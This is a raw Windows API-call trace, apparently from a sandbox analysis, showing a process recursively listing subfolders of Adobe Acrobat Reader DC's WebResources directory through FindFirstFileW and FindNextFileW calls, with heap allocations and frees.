	[0163.545] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="static", cAlternateFileName="")) returned 1
	[0163.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0163.545] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static") returned 83
	[0163.545] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0163.546] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.546] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="css", cAlternateFileName="")) returned 1
	[0163.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45dcde0
	[0163.548] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css") returned 87
	[0163.548] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\*", lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0163.571] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.571] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="app", cAlternateFileName="")) returned 1
	[0163.571] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0163.572] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app") returned 91
	[0163.572] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.579] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.579] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1
	[0163.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0163.579] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev") returned 95
	[0163.579] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.580] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.580] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1
	[0163.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0163.581] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef") returned 99
	[0163.581] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\cef\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0163.581] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.581] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.581] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0163.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.582] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0163.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0163.582] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs") returned 100
	[0163.582] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\app\\dev\\libs\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0163.582] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.582] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.582] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0163.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.582] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0163.582] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0163.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0163.584] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0163.586] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.594] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0163.594] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="core", cAlternateFileName="")) returned 1
	[0163.594] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0163.594] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core") returned 92
	[0163.594] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.598] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.598] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1
	[0163.598] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0163.598] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev") returned 96
	[0163.598] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.599] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.599] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1
	[0163.599] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0163.599] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef") returned 100
	[0163.599] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\cef\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0163.599] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.599] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.599] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0163.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.599] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0163.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0163.600] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs") returned 101
	[0163.600] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\core\\dev\\libs\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.600] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.600] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.600] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0163.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.600] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0163.600] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0163.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0163.601] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0163.601] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
